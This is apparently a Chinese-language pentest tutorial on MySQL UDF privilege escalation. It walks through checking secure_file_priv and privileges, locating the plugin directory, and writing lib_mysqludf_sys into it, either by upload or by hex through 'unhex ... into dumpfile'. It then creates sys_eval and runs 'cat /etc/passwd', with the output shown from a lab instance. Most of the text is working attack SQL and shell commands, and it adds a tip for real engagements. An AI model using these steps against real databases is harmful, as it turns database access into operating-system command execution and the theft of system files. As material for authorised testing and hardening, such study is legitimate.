数据库 - Mysql UDF提权
什么是
User Defined Function
它是MySQL的一个拓展接口,可以接受用户的自定义函数,添加的函数可以在SQL语句中调用。一般数据库的权限会比较高(root),所以执行函数的权限也是root,很适合提权。
原理
上传udf.dll或者udf.so到MySQL的插件文件夹,其中包含RCE的函数,然后加载之后直接调用函数即可。
限制条件
secure_file_priv为空,且可执行SQL语句。 用户拥有Insert_priv: Y Update_priv: Y Delete_priv: Y File_priv: Y权限
权限查询:
select * from mysql.user where user = substring_index(user(), '@', 1)
在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件.在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
secure_file_priv相关
secure_file_priv 是 MySQL 中的一个系统变量,用于控制 MySQL 服务器对文件操作的权限,特别是与 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 相关的文件操作。它的主要目的是增强安全性,防止用户通过 MySQL 访问或操作服务器上的任意文件。
| 值 | 含义 |
|---|---|
空字符串 ('') | 允许文件操作在任意目录进行(不推荐,存在安全风险)。 |
| 目录路径 | 限制文件操作只能在指定目录内进行(推荐)。 |
NULL | 禁止所有文件操作(最严格的安全设置)。 |
可以执行show variables like "secure_file_priv";来查看其值。 |
172.20.0.1:3306/ http://192.168.1.15:8089/index.php?route=/server/sql
您的 SQL 语句已成功运行。
show variables like "secure_file_priv";
secure_file_priv /var/lib/mysql-files/
How To Use?
首先查询软件所使用的架构(不是系统),不同的架构所用到的文件不同,
show variables like "%version_%";

查看MySQL版本:SELECT VERSION();
接下来准备udf.so koparmalbaris/MySQL-UDF-Exploitation: MySQL User Defined Functions Exploitation to RCE or PrivEsc Simple Cheat Sheet. 这个仓库里包含了很多现成的UDF攻击文件
插件文件夹查找:
show variables like '%plugin%';
上传至插件目录后运行
create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'
它指定从插件目录中查找lib_mysqludf_sys_64.so并加载其中的sys_eval函数,并指定返回类型为字符串。
之后即可运行系统命令(为了测试换了个docker)
172.17.0.1:43306/ http://192.168.1.15:8089/index.php?route=/server/sql
正在显示第 0 - 0 行 (共 1 行, 查询花费 0.0027 秒。)
select sys_eval('cat /etc/passwd');
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin...
那么以上是通过直接上传文件进行的演示,可以配合任意文件上传打打,如果没有这个文件上传呢?我们需要从SQL语句写入Hex数据生成文件。
进一步利用
原理: 将so的Hex数据经过unhex后导入数据库的一个表内(其实就是二进制),然后用导出语句到插件目录下的so文件内
首先要在本地获得到so的Hex数据,这里用linux的xxd实现
用hexdump了
hexdump -ve '1/1 "%.2x"' lib_mysqludf_sys_64.so > hex_udf.txt
-p代表原始数据
创建一个用来存放数据的表
use mysql;
create table udf (c BLOB)
运行
use mysql;
INSERT INTO udf values(unhex('7f454c46020101......000000'))
unhex里放Hex
这样就写入到表中了,如果交互式的sql语句不支持这样长度的输入,可能还需要进行多次写入拼接
导出表内数据
select c from mysql.udf into dumpfile '/usr/lib64/mysql/plugin/test2.so'
要是这里没改安全文件夹则会
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
为什么上一节没有设置安全文件夹为空也可以运行呢? 原因是上节直接将so放置在了插件目录,也就是说并没有进行修改访问文件夹的操作。
接下来注册命令执行函数,如果已存在可以使用DROP FUNCTION IF EXISTS sys_eval;丢掉上次注册的
create function sys_eval returns string soname 'test2.so'

成功执行:
172.17.0.1:43306/ http://192.168.1.15:8089/index.php?route=/server/sql
正在显示第 0 - 0 行 (共 1 行, 查询花费 0.0027 秒。)
select sys_eval('cat /etc/passwd');
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin...
如果遇到需要分次存放Hex的情况,则可将数据分别写入几个文件内,最后使用sql语句统一unHex:
select unhex(concat(load_file('文件1'),load_file('文件2'),load_file('文件3'),load_file('文件4'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'
需要注意的是这里数据是先通过unhex再拼接的,这意味着分段需要注意位置,当然你也可以先将所有文件内的数据复制到一个txt,再对它进行unhex,这样就不用担心十六进制转换的问题。
实战中如果遇到安全目录被限制的可以尝试直接上传到插件文件夹